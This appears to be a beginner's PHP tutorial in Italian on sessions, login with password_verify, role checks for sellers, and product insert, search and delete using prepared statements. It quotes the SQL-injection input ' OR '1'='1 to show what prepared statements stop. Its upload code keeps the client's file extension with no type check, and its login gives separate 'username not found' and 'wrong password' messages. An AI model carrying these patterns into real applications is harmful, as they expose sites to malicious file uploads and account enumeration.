// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// session_start() DEVE essere la PRIMA riga, prima di qualsiasi output!
// Crea il "badge" se non esiste, o lo legge se esiste giΓ 
// ATTENZIONE: niente spazi prima di questa riga!
// PerchΓ©? Il cookie che identifica "l'armadietto" (i dati della sessione) viene inviato nell'intestazione HTTP.
// Se c'Γ¨ anche solo uno spazio prima, PHP invia l'intestazione prima che session_start() crei il cookie,
// e la sessione non funzionerΓ  (il server senza il cookie non sa quale armadietto aprire).

session_start();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 1: COLLEGATI AL DATABASE                         β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

require_once 'connessione.php';

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 2: RECUPERA I DATI INVIATI DAL FORM             β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Recupera username e password inviati dal form
// $_POST Γ¨ la "scatola magica" che contiene i dati del form
// βœ… NOTA: Non usare htmlspecialchars() QUI! Viene usata solo in output, non prima di query DB
$username = $_POST['username'];
$password = $_POST['password'];

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Cerca l'utente con questo username
// Il ? Γ¨ il segnaposto: "cerca l'utente con username = [valore che per motivi di sicurezza scriveremo dopo]"
$stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?");


//        ╔════════════════════════════════════════════════════════╗
//        β•‘                                                        β•‘ 
          β•‘ PASSO 4: RIEMPI I "BUCHI"(segnaposto indicati con ?)   β•‘ 
          β•‘   CON I VALORI REALI                                   β•‘
//        β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// "s" = stringa (username Γ¨ testo)
// Inseriamo $username al posto del primo (e unico) segnaposto ?
$stmt->bind_param("s", $username);

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 5: ESEGUI LA RICERCA                             β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt->execute();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 6: OTTIENI I RISULTATI                           β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$result = $stmt->get_result();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 7: CONTROLLA SE L'UTENTE ESISTE                  β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Se non troviamo l'username nel database (num_rows = 0)...
if ($result->num_rows === 0) {
    // Utente non trovato! Mostra errore con echo (come nel resto del manuale)
    echo "<h2>❌ Errore di accesso</h2>";
    echo "<p>Username non trovato!</p>";
    echo "<p><a href='login.html'>← Torna al login</a></p>";

    // Chiudi statement e connessione prima di uscire
    $stmt->close();
    $conn->close();
    exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni
}

// Se l'utente esiste, prendi i suoi dati (come array associativo)
// $utente contiene: id, username, password (hash), tipo
$utente = $result->fetch_assoc();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 8: VERIFICA LA PASSWORD                          β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// password_verify() confronta la password digitata con l'hash nel database
// NON confrontiamo direttamente le stringhe! Confrontiamo l'hash
// password_verify() Γ¨ magica: sa se la password inserita genera l'hash del database
if (!password_verify($password, $utente['password'])) {
    // Password sbagliata! Mostra errore con echo 
    echo "<h2>❌ Errore di accesso</h2>";
    echo "<p>Password errata!</p>";
    echo "<p><a href='login.html'>← Torna al login</a></p>";

    // Chiudi statement e connessione prima di uscire
    $stmt->close();
    $conn->close();
    exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni
}

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 9: CREA LA SESSIONE (IL "BADGE IDENTIFICATIVO")  β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Salva i dati dell'utente nell'array $_SESSION
// Questi dati rimarranno disponibili in TUTTE le pagine fino al logout
// È come scrivere sul badge: "Nome: Mario, Ruolo: Venditore"

$_SESSION['logged_in'] = true;           // Flag: l'utente Γ¨ loggato
$_SESSION['username'] = $utente['username'];   // Salva l'username
$_SESSION['tipo'] = $utente['tipo'];           // Salva il tipo (acquirente/venditore)
$_SESSION['id'] = $utente['id'];               // Salva l'ID utente (utile per log)

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 10: CHIUDI STATEMENT E CONNESSIONE              β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt->close();
$conn->close();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 11: REINDIRIZZA ALLA PAGINA PERSONALE            β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// header("Location: ...") reindirizza il browser alla pagina specificata (dashboard.php)
// DEVE essere chiamato prima di qualsiasi istruzione di output HTML, altrimenti non funziona!

header("Location: dashboard.php");

// exit() ferma l'esecuzione dello script dopo il reindirizzamento
exit();

?>
❓ PerchΓ© non c'Γ¨ l'ELSE dopo l'IF?

Hai notato che dopo gli if che controllano username e password non c'Γ¨ un else?
Ecco il motivo:

if ($result->num_rows === 0) {
// mostra errore
exit(); // ← FERMA TUTTO
}

// Se arriviamo QUI, significa che l'IF era FALSO
$utente = $result->fetch_assoc();

Spiegazione:
πŸ”‘ Ricorda: exit() ferma immediatamente l'esecuzione dello script PHP.
L'interprete NON esegue nessuna istruzione dopo exit().
Per questo non serve l'else: se il codice continua, Γ¨ perchΓ© la condizione dell'if era falsa!
Riga: $stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?")
Usiamo il prepared statement con segnaposto ?, esattamente come in inserimento.php e ricerca.php.
Questo protegge da SQL Injection: anche se qualcuno scrive ' OR '1'='1 come username, viene trattato come semplice testo, non come codice SQL.
Riga: $stmt->bind_param("s", $username)
"s" = stringa (il tipo di dato).
$username = la variabile da collegare al segnaposto.
Stesso pattern usato in tutto il manuale: prepara, bind, execute.
Riga: $utente = $result->fetch_assoc()
Prende la riga trovata e la trasforma in un array associativo.
Possiamo accedere ai campi con: $utente['username'], $utente['password'], $utente['tipo'].
Riga: password_verify($password, $utente['password'])
Questa funzione PHP confronta la password in chiaro con l'hash.
Non possiamo mai "decodificare" l'hash, ma possiamo verificare se una password corrisponde!
Riga: $_SESSION['username'] = $utente['username']
Stiamo scrivendo nel badge identificativo.
$_SESSION Γ¨ un array associativo speciale:
Errore: "headers already sent"
Causa: Hai scritto qualcosa (anche uno spazio!) prima di session_start() o header().
Soluzione: Rimuovi tutti gli spazi, righe vuote, o echo prima di queste funzioni. La prima riga del file deve essere <?php.
⚠️ APPROFONDIMENTO: PerchΓ© header() DEVE essere prima di qualsiasi output HTML? πŸ“Œ La regola: La funzione header() deve essere la prima cosa che il server comunica al browser e quindi la prima istruzione che produce output, perchΓ© puoi immaginare header() come l'etichetta su un pacco e le istruzioni di output come il contenuto del pacco ed il server PHP come un postino che invia il pacco non appena tu inserisci qualcosa nel pacco: non puoi attaccare l'etichetta se il pacco Γ¨ giΓ  stato spedito. La comunicazione tra server PHP e il client (ed in particolare il browser del client) Γ¨ composta da due parti: l'intestazione e il corpo (il contenuto visualizzato). Appena PHP incontra un singolo spazio, un pezzo di HTML o un echo, o una qualsiasi altra istruzione di output, invia il contenuto al browser con le intestazioni di default. Per questo, se provi un codice PHP in cui l'istruzione header() Γ¨ preceduta anche da un solo echo "ciao", il server restituirΓ  un errore. È come se provassi a cambiare l'intestazione di una lettera dopo che giΓ  Γ¨ stata spedita.
βœ… Come evitare errori comuni:
πŸ“Œ PerchΓ© serve exit() dopo header()?
header("Location: ...") NON ferma lo script. Senza exit(), PHP continua a eseguire il codice sottostante, causando comportamenti imprevedibili. 🎯 Regola: Dopo ogni header("Location: ..."), metti SEMPRE exit().

15. La pagina personale: dashboard.php

La dashboard Γ¨ come l'atrio del palazzo dopo il portinaio:
Β  dashboard.php
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 0: AVVIA SEMPRE LA SESSIONE (prima di tutto!)    β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

session_start();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 1: CONTROLLA SE L'UTENTE È LOGGATO               β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    // L'utente non Γ¨ loggato! Reindirizza al login
    // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML
    header("Location: login.html");
    exit(); // Ferma tutto
}

// Se arriviamo qui, l'utente Γ¨ loggato. Recuperiamo i suoi dati attraverso la sessione:
$username = $_SESSION['username'];   // Es: "mario_venditore"
$tipo = $_SESSION['tipo'];           // Es: "venditore" o "acquirente"

// ╔══════════════════���═════════════════════════════════════╗
// β•‘ PASSO 2: INIZIA A COSTRUIRE LA PAGINA HTML             β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•Γ―ΒΏΒ½Γ―ΒΏΒ½Γ―ΒΏΒ½β•β•β•β•β•β•β•β•β•Γ―ΒΏΒ½Γ―ΒΏΒ½β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Intestazione HTML con doctype e head
echo "<!DOCTYPE html>";
echo "<html lang='it'>";
echo "<head>";
echo "    <meta charset='UTF-8'>";
echo "    <title>Dashboard - Area Riservata</title>";
echo "</head>";
echo "<body>";

// Intestazione personalizzata con il nome utente
// htmlspecialchars() protegge da XSS quando mostriamo dati utente
echo "<h2> Benvenuto, " . htmlspecialchars($username) . "!</h2>";
echo "<p>Tipo di account: <strong>" . htmlspecialchars($tipo) . "</strong></p>";

echo "<hr>";

// Menu comune a TUTTI gli utenti
echo "<h3>πŸ” Ricerca Prodotti</h3>";
echo "<p>Tutti gli utenti possono cercare i prodotti nel catalogo:</p>";
echo "<a href='ricerca.html'>πŸ” Vai alla ricerca</a>";

echo "<hr>";

// Menu SOLO per VENDITORI
// Usiamo un IF: se il tipo Γ¨ "venditore", mostra questa sezione
if ($tipo === 'venditore') {
    echo "<h3>πŸ“ Gestione Prodotti (Solo Venditori)</h3>";
    echo "<p>Come venditore, puoi gestire i prodotti:</p>";
    echo "<p><a href='inserimento.html'>βž• Inserisci nuovo prodotto</a></p>";
    echo "<p><a href='cancella.html'>πŸ—‘οΈ Cancella prodotto per ID</a></p>";
    echo "<hr>";
}

// Logout disponibile per tutti
echo "<p><a href='logout.php'>πŸšͺ Esci (Logout)</a></p>";

// Chiudi il body e l'html
echo "</body>";
echo "</html>";

?>
Come funziona la protezione della pagina:
Utente chiede dashboard.php
⬇️
PHP legge il "badge" (session_start)
⬇️
Controlla: c'Γ¨ 'logged_in' = true?
⬇️
❌ NO β†’ Reindirizza a login.html
βœ… S β†’ Costruisce pagina con echo
Riga: if ($tipo === 'venditore') { ... }
Controlliamo il tipo di utente salvato nella sessione.
Se Γ¨ "venditore", mostriamo i link per l'inserimento.
Se Γ¨ "acquirente", questa parte viene saltata.

16. Il logout: distruggere la sessione

Il logout Γ¨ come uscire dal palazzo e restituire il badge:
πŸšͺ logout.php
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 0: AVVIA LA SESSIONE (per poterla cancellare!)     β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

session_start();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 1: SVUOTA TUTTI I DATI DELLA SESSIONE            β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// $_SESSION = [] svuota l'array (rimuove username, tipo, ecc.)
// È come "svuotare l'armadietto"
$_SESSION = [];

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 2: DISTRUGGI IL FILE DELLA SESSIONE SUL SERVER   β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// session_destroy() cancella il file temporaneo sul server
// È come "tagliare il badge" - non esiste più

session_destroy();

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 3: REINDIRIZZA ALLA HOME PUBBLICA                β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// header() reindirizza alla pagina specificata (index.html) - DEVE essere prima di qualsiasi output HTML
header("Location: index.html");
exit();

?>
PerchΓ© usiamo entrambe le operazioni?

17. Proteggere le pagine di inserimento (solo venditori)

⚠️ ATTENZIONE: Chiunque potrebbe scrivere direttamente nell'URL http://localhost/progetto/inserimento.html e bypassare il login!
Dobbiamo proteggere anche le pagine PHP che elaborano i dati, non solo la dashboard.
βš™οΈ inserimento.php (versione protetta)
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PROTEZIONE: CONTROLLA SESSIONE E PERMESSI              β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•Γ―ΒΏΒ½Γ―ΒΏΒ½β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

// Avvia la sessione (prima di tutto!)
session_start();

// Controllo 1: Sei loggato?
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    // Controlla se La variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine
    // Non visualizza messaggi di errore, semplicemente reindirizza al login
    // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML
    header("Location: login.html");
    exit();
}

// Controllo 2: Sei un venditore?
if ($_SESSION['tipo'] !== 'venditore') {
    // L'utente Γ¨ loggato, ma non ha i permessi!
    // Mostriamo un messaggio chiaro con echo 
    echo "<h2> Accesso negato!</h2>";
    echo "<p>Solo i venditori possono inserire prodotti.</p>";
    echo "<p><a href='dashboard.php'>← Torna alla tua dashboard</a></p>";
    exit();
}

// Se arriviamo qui, l'utente Γ¨ un venditore autorizzato
// Recupera il nome per il messaggio di benvenuto personalizzato
$username = $_SESSION['username'];

// 5. Include la connessione al database
require_once 'connessione.php';

// 6. Recupera i dati dal form POST
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];

// 7. Gestione caricamento immagine (come nella sezione 10)
$immagine = NULL;
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['immagine']['tmp_name'];
    $nome_originale = $_FILES['immagine']['name'];
    $estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
    $nome_univoco = uniqid('img_', true) . '.' . $estensione;
    $destinazione = 'immagini/' . $nome_univoco;
    if (move_uploaded_file($tmp_name, $destinazione)) {
        $immagine = $destinazione;
    }
}

// 8. Inserisci nel DB (aggiungendo il venditore dalla sessione)
$stmt = $conn->prepare(
    "INSERT INTO prodotti (nome, descrizione, prezzo, immagine, venditore)
     VALUES (?, ?, ?, ?, ?)"
);
$stmt->bind_param("ssdss", $nome, $descrizione, $prezzo, $immagine, $username);
$stmt->execute();

// 9. Messaggio di conferma
echo "<h2>βœ… Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: €" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
    echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>← Torna alla home</a></p>";

// 10. Chiudi connessione
$stmt->close();
$conn->close();

?>
Strati di protezione implementati (difesa in profonditΓ ):
Livello File Controlla Se fallisce
1. Sessione Tutte le pagine protette logged_in === true Reindirizza a login.html
2. Permessi inserimento.php tipo === 'venditore' Messaggio "Accesso negato" con echo
3. Query Tutte le pagine DB Prepared statement Protegge da SQL injection

πŸ” Proteggere anche la ricerca (tutti gli utenti loggati)

βš™οΈ ricerca.php (versione protetta)
<?php
// Protezione base: solo utenti loggati
session_start();

// Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML
    header("Location: login.html");
    exit();
}

// Recupera il tipo per personalizzare il messaggio (opzionale)
$tipo = $_SESSION['tipo'];
$username = $_SESSION['username'];

require_once 'connessione.php';

// PASSO 2: Recupera il termine cercato dall'URL
$nome = $_GET['nome'];

// PASSO 3: Prepara la query di ricerca con LIKE per ricerca parziale
$stmt = $conn->prepare(
    "SELECT * FROM prodotti WHERE nome LIKE ?"
);

$nome_ricerca = '%' . $nome . '%';
$stmt->bind_param("s", $nome_ricerca);

// PASSO 4: Esegui la ricerca
$stmt->execute();

// PASSO 5: Ottieni i risultati
$result = $stmt->get_result();

// PASSO 6: Visualizza i risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";

if ($result->num_rows > 0) {
    echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";
    
    echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
    echo "<tr style='background-color: #3498db; color: white;'>";
    echo "<th>ID</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th><th>Immagine</th></tr>";
    
    while($row = $result->fetch_assoc()) {
        echo "<tr>";
        echo "<td>" . $row["id"] . "</td>";
        echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
        echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
        echo "<td>€" . $row["prezzo"] . "</td>";
        
        // Mostra immagine se presente
        echo "<td>";
        if (!empty($row["immagine"])) {
            echo "<img src='" . htmlspecialchars($row["immagine"]) . "' width='80'>";
        } else {
            echo "Nessuna immagine";
        }
        echo "</td>";
        
        echo "</tr>";
    }
    
    echo "</table>";
} else {
    echo "<p>❌ Nessun prodotto trovato.</p>";
}

// Link navigazione
echo "<p>";
echo "<a href='ricerca.html'>πŸ” Nuova ricerca</a> | ";
echo "<a href='dashboard.php'>Β  Torna alla dashboard</a>";
echo "</p>";

// Chiudi connessioni
$stmt->close();
$conn->close();
?>

18. Cancella Prodotto per ID

Questa pagina Γ¨ come un modulo di cancellazione:

πŸ“ Cancella prodotto: Form HTML

πŸ—‘οΈ cancella.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Cancella Prodotto</title>
</head>
<body>
    <h2>πŸ—‘οΈ Cancella Prodotto dal Database</h2>
    
    <div class="warning">
        <strong>⚠️ Attenzione:</strong> Questa operazione è irreversibile! Una volta cancellato, il prodotto non potrà essere recuperato.
    </div>
    
    <form action="cancella.php" method="post">

        <label for="id_prodotto">ID Prodotto da cancellare:</label><br>
        <input type="number" id="id_prodotto" name="id_prodotto" min="1" required>
        <br><br>

        <input type="submit" value="πŸ—‘οΈ Cancella Prodotto" onclick="return confirm('Sei sicuro di voler cancellare questo prodotto?')">
    </form>
    
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>

βš™οΈ Cancella prodotto: Codice PHP

πŸ—‘οΈ cancella.php
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 0: PROTEZIONE PAGINA - SOLO VENDITORI           β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

session_start();

// Controlla se l'utente Γ¨ loggato
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header("Location: login.html");
    exit();
}

// Controlla se l'utente Γ¨ un venditore
if ($_SESSION['tipo'] !== 'venditore') {
    echo "<h2>❌ Accesso negato!</h2>";
    echo "<p>Solo i venditori possono cancellare prodotti.</p>";
    echo "<p><a href='dashboard.php'>← Torna alla dashboard</a></p>";
    exit();
}

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 1: APRI LA CONNESSIONE AL DATABASE              β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

require_once 'connessione.php';

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 2: RECUPERA L'ID PRODOTTO                       β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

if (empty($_POST['id_prodotto']) || !is_numeric($_POST['id_prodotto'])) {
    die("❌ Errore: ID prodotto non valido o mancante.");
}

$id_prodotto = (int)$_POST['id_prodotto'];

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 3: PREPARA LA QUERY DI CANCELLAZIONE            β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt = $conn->prepare("DELETE FROM prodotti WHERE id = ?");
$stmt->bind_param("i", $id_prodotto);

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 4: ESEGUI LA CANCELLAZIONE                      β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

if ($stmt->execute()) {
    if ($stmt->affected_rows > 0) {
        // PRODOTTO CANCELLATO CON SUCCESSO
        echo "<h2>βœ… Prodotto cancellato con successo!</h2>";
        echo "<p>Il prodotto con ID <strong>" . $id_prodotto . "</strong> Γ¨ stato rimosso dal database.</p>";
    } else {
        // NESSUN PRODOTTO TROVATO CON QUESTO ID
        echo "<h2>ℹ️ Nessun prodotto trovato</h2>";
        echo "<p>Non esiste nessun prodotto nel database con ID <strong>" . $id_prodotto . "</strong>.</p>";
    }
} else {
    // ERRORE NELLA CANCELLAZIONE
    echo "<h2>❌ Errore nella cancellazione</h2>";
    echo "<p>Dettaglio: " . $stmt->error . "</p>";
}

echo "<p><a href='index.html'>← Torna alla home</a></p>";
echo "<p><a href='cancella.html'>← Cancella un altro prodotto</a></p>";

// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 5: CHIUDI TUTTO                                 β•‘
// β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

$stmt->close();
$conn->close();
?>
πŸ’‘ Caratteristiche sicure di questo codice:
Errore comune: Cancellazione accidentale
Sempre chiedi conferma all'utente prima di cancellare qualcosa! Nel form HTML abbiamo aggiunto onclick="return confirm('...')" che mostra un popup di conferma.

19. Riepilogo: Il flusso completo delle sessioni

Ciclo di vita: Login β†’ Navigazione β†’ Logout

1. Utente apre login.html
⬇️ compila username e password
2. Dati inviati a login.php
⬇️ session_start() + verifica credenziali
3. Se credenziali OK β†’ $_SESSION popolata
⬇️ header("Location: dashboard.php")
4. Dashboard: session_start() legge i dati
⬇️ costruisce pagina con echo
5. Utente naviga in ricerca o inserimento
⬇️ ogni pagina fa session_start() + controlli
6. Clicca Logout β†’ logout.php
⬇️ session_destroy() + reindirizza a index.html
7. Sessione terminata, utente anonimo

πŸ“š Concetti chiave sulle sessioni

session_start() Attiva/legge la sessione. Prima di tutto! Prima di qualsiasi output HTML.
$_SESSION Array associativo dove salvi dati persistenti (username, tipo, ecc.). I dati sono sul server, sicuri.
header("Location: ...") Reindirizza a un'altra pagina. Prima di output! Seguito sempre da exit().
echo "..." Genera tutto l'output HTML. In questo file, tutto l'output viene generato con echo dentro i tag PHP.
password_hash() Crea hash sicuri da salvare nel database (mai password in chiaro!). Usa PASSWORD_DEFAULT.
password_verify() Confronta password digitata con hash nel database. Restituisce true/false.
isset($_SESSION['chiave']) Controlla se una variabile di sessione esiste (evita errori "undefined index").
session_destroy() Cancella definitivamente la sessione. Usa dopo $_SESSION = [].
Ora dovresti saper rispondere a queste domande:
  1. PerchΓ© session_start() deve essere la prima riga del file PHP?
    Risposta:PerchΓ© il cookie che identifica "l'armadietto" (i dati della sessione) viene inviato nell'intestazione. Se c'Γ¨ anche solo uno spazio prima, PHP invia l'intestazione prima che session_start() crei il cookie, e quindi PHP segnalerΓ  un warning e la sessione non funzionerΓ  (il server non avendo il cookie, il bigliettino con l'etichetta dell'armadietto, non saprebbe come recuperare i dati di sessione).
  2. Dove sono fisicamente salvati i dati di $_SESSION? Sul client o sul server?
    Risposta:Sul server. Al browser viene dato solo un numero identificativo (ID sessione). Quando il browser rimanda questo ID, PHP recupera i dati dal server.
  3. Qual Γ¨ la differenza tra $_POST (dati del form) e $_SESSION (dati della sessione)?
    Risposta:$_POST dura solo per quella pagina: i dati del form arrivano e poi spariscono. $_SESSION rimane attivo mentre navighi nel sito: i dati restano disponibili finchΓ© non chiudi il browser o fai logout.
  4. PerchΓ© usiamo password_hash() invece di salvare la password normale nel database?
    Risposta:Per sicurezza: se qualcuno ruba il database, vede solo codici incomprensibili (hash), non le password vere. Non si puΓ² tornare indietro dall'hash alla password originale.
  5. Come facciamo a mostrare contenuti diversi (ricerca vs inserimento) in base al tipo di utente?
    Risposta:Controlliamo il valore di $_SESSION['tipo']. Se Γ¨ "venditore", mostriamo il link per inserire prodotti. Se Γ¨ "acquirente", mostriamo solo la ricerca.
  6. Cosa succede se un acquirente prova ad accedere direttamente a inserimento.php scrivendo l'URL?
    Risposta:Il file inserimento.php controlla il tipo di utente all'inizio. Se non Γ¨ un venditore, mostra un messaggio di accesso negato e un link per tornare alla dashboard.

Se sai rispondere, hai padroneggiato le sessioni e l'autenticazione! πŸŽ‰

🎯 Esercizi per praticare:
  1. Registrazione: Crea una pagina registrazione.php che permetta di creare nuovi account. Solo account acquirente (non permettere di creare venditori).
  2. Profilo utente: Aggiungi una pagina profilo.php dove l'utente vede le proprie informazioni e puΓ² modificare la password.
  3. Log accessi: Crea una tabella log_accessi che registri ogni tentativo di login (username, data, esito: successo/fallito, IP).
